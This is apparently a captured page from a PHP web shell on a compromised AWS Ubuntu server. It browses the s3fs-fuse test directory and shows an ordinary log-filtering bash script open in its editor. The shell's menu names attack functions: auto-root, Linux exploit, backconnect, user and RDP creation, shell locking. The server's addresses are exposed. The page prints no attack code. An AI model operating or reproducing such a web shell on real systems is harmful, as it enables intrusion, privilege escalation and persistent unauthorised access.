Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 52.14.26.141
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
s3fs-fuse /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
26.2
KB
-rw-rw-r--
Makefile.am
1.14
KB
-rw-rw-r--
Makefile.in
26.06
KB
-rw-rw-r--
filter-suite-log.sh
4.72
KB
-rwxrwxr-x
integration-test-common.sh
7.27
KB
-rw-rw-r--
integration-test-main.sh
21.38
KB
-rwxrwxr-x
keystore.jks
2.19
KB
-rw-rw-r--
mergedir.sh
4.25
KB
-rwxrwxr-x
passwd-s3fs
32
B
-rw-rw-r--
require-root.sh
103
B
-rwxrwxr-x
s3proxy.conf
318
B
-rw-rw-r--
sample_ahbe.conf
1.89
KB
-rw-rw-r--
sample_delcache.sh
2.45
KB
-rwxrwxr-x
small-integration-test.sh
1.35
KB
-rwxrwxr-x
test-utils.sh
5.94
KB
-rw-rw-r--
write_multiple_offsets.py
375
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filter-suite-log.sh
#!/bin/bash # # s3fs - FUSE-based file system backed by Amazon S3 # # Copyright 2007-2008 Randy Rizun <rrizun@gmail.com> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # func_usage() { echo "" echo "Usage: $1 [-h] <log file path>" echo " -h print help" echo " log file path path for test-suite.log" echo "" } PRGNAME=`basename $0` SCRIPTDIR=`dirname $0` S3FSDIR=`cd ${SCRIPTDIR}/..; pwd` TOPDIR=`cd ${S3FSDIR}/test; pwd` SUITELOG="${TOPDIR}/test-suite.log" TMP_LINENO_FILE="/tmp/.lineno.tmp" while [ $# -ne 0 ]; do if [ "X$1" = "X" ]; then break elif [ "X$1" = "X-h" -o "X$1" = "X-H" -o "X$1" = "X--help" -o "X$1" = "X--HELP" ]; then func_usage ${PRGNAME} exit 0 else SUITELOG=$1 fi shift done if [ ! -f ${SUITELOG} ]; then echo "[ERROR] not found ${SUITELOG} log file." exit 1 fi # # Extract keyword line numbers and types # # 0 : normal line # 1 : start line for one small test(specified in integration-test-main.sh) # 2 : passed line of end of one small test(specified in test-utils.sh) # 3 : failed line of end of one small test(specified in test-utils.sh) # grep -n -e 'test_.*: ".*"' -o -e 'test_.* passed' -o -e 'test_.* failed' ${SUITELOG} 2>/dev/null | sed 's/:test_.*: ".*"/ 1/g' | sed 's/:test_.* passed/ 2/g' | sed 's/:test_.* failed/ 3/g' > ${TMP_LINENO_FILE} # # Loop for printing result # prev_line_type=0 prev_line_number=1 while read line; do # line is "<line number> <line type>" number_type=($line) head_line_cnt=`expr ${number_type[0]} - 1` tail_line_cnt=`expr ${number_type[0]} - ${prev_line_number}` if [ ${number_type[1]} -eq 2 ]; then echo "" fi if [ ${prev_line_type} -eq 1 ]; then if [ ${number_type[1]} -eq 2 ]; then # if passed, cut s3fs information messages head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' | grep -v -e '^s3fs: ' -a -e '\[INF\]' elif [ ${number_type[1]} -eq 3 ]; then # if failed, print all head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' else # there is start keyword but not end keyword, so print all head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' fi elif [ ${prev_line_type} -eq 2 -o ${prev_line_type} -eq 3 ]; then if [ ${number_type[1]} -eq 2 -o ${number_type[1]} -eq 3 ]; then # previous is end of chmpx, but this type is end of chmpx without start keyword. then print all head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' else # this area is not from start to end, cut s3fs information messages head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' | grep -v -e '^s3fs: ' -a -e '\[INF\]' fi else if [ ${number_type[1]} -eq 2 -o ${number_type[1]} -eq 3 ]; then # previous is normal, but this type is end of chmpx without start keyword. then print all head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' else # this area is normal, cut s3fs information messages head -${head_line_cnt} ${SUITELOG} | tail -${tail_line_cnt} | grep -v -e '[0-9]\+\%' | grep -v -e '^s3fs: ' -a -e '\[INF\]' fi fi if [ ${number_type[1]} -eq 3 ]; then echo "" fi prev_line_type=${number_type[1]} prev_line_number=${number_type[0]} done < ${TMP_LINENO_FILE} # # Print rest lines # file_line_cnt=`wc -l ${SUITELOG} | awk '{print $1}'` tail_line_cnt=`expr ${file_line_cnt} - ${prev_line_number}` if [ ${prev_line_type} -eq 1 ]; then tail -${tail_line_cnt} ${SUITELOG} | grep -v -e '[0-9]\+\%' else tail -${tail_line_cnt} ${SUITELOG} | grep -v -e '[0-9]\+\%' | grep -v -e '^s3fs: ' -a -e '\[INF\]' fi # # Remove temp file # rm -f ${TMP_LINENO_FILE} exit 0 # # Local variables: # tab-width: 4 # c-basic-offset: 4 # End: # vim600: noet sw=4 ts=4 fdm=marker # vim<600: noet sw=4 ts=4 #
Close